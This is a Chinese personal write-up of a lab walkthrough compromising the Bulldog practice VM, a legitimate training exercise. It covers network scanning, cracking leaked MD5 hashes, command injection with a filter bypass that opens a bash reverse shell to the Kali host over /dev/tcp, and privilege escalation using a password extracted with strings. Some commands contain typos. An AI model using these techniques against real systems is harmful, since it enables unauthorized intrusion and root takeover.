注:个人笔记,有点简陋,仅供参考。
准备:把kali和靶机设置为同一网段(NAT)
信息搜集
主机扫描
nmap -sP -T4 10.4.7.0/24
扫描出靶机IP为:10.4.7.134
扫描端口、服务
nmap -A -T4 -p- 10.4.7.134 -sV
发现扫描出了23、80、8080端口,开放了 ssh 和 http 服务
渗透测试
扫描目录
该靶机开放了80端口,使用IP地址在浏览器进行访问
然后扫描目录
dirb http://10.4.7.134/
得到以下目录:
http://10.4.7.134/admin/
http://10.4.7.134/dev/
http://10.4.7.134/dev/shell/
访问目录
http://10.4.7.134/admin/
,发现是一个登录框,我们目前并没有账密,可以登录其他网页寻找线索
http://10.4.7.134/dev/
http://10.4.7.134/dev/shell/
,
回到 http://10.4.7.134/dev/
,F12或右键查看源代码,发现一一对应的可疑邮箱与疑似哈希密码串,猜测其为用户名及密码
尝试进行解密:
MD5在线解密
MD5在线解密
- 依次尝试获取到的密码串,发现最后两个解密成功
用户名 | 密码 |
---|---|
alan | 破解失败 |
william | 破解失败 |
malik | 破解失败 |
kevin | 破解失败 |
ashley | 破解失败 |
nick | bulldog |
sarah | bulldoglover |
尝试进行登录,登录成功
用户名:sarah
密码:bulldoglover
在网页http://10.4.7.134/dev/shell/
刷新后发现可以进行访问
命令注入与nc反弹shell
- 由于部分命令被过滤,下面尝试绕过反弹shell
在kali中使用nc进行监听
在此输入 echo ‘bash -i >& /dev/tcp/10.4.7.135/8888 0>&1’ | bash
尝试反弹
- 由于 echo 是可以使用的,这里利用 echo 构建一个反弹shell的命令,然后用管道符交给 bash 执行
然后run运行,运行后发现kali已经收到了反弹shell
- 此时已成功进入系统,但权限还不是root,下一步进行提权操作
提权
- 切换成 root 用户的前提是需要知道 root 用户的密码,所以我们这里的主要目标是在有限的权限里搜集到 root 的密码,完成提权
- 查看有哪些用户,输入
cat /etc/passwd
查看用户,发现bulldogadmin
用户
- 进入该用户的家目录
- 输入 ls -la 查看隐藏文件,发现隐藏目录
.hiddenadmindirectory
- 输入
cd .hiddenadmindirectory
进入该目录,ls -la
查看隐藏文件,发现customPermissionApp
和note
两个文件
- 分别进行查看,并没有发现什么有用的信息
cat customPermissionApp
乱码
cat note
,
- 利用 strings 查看可执行文件中的内容,发现疑似密码
- strings 命令用来提取和显示非文本文件中的文本字符串
标红位置中猜测可能是密码,应为 SUPER
、 ulitimate
、PASSWORD
、youCANTget
, 可以把他们连到一起正好是 SUPERultimatePASSWORDyouCANTget
,H是来混淆的,中间刚好有PASSWORD
- 展开密码串为:
SUPERultimatePASSWORDyouCANTget
尝试 su -i
,直接切换 root ,发现并不能执行
可以用Python调用本地的shell实现,命令如下:
python -c ‘import pty; pty.spawn("/bin/bash")’
然后切换为 root ,需要加上 sudo
才能执行
shdo su -
提权成功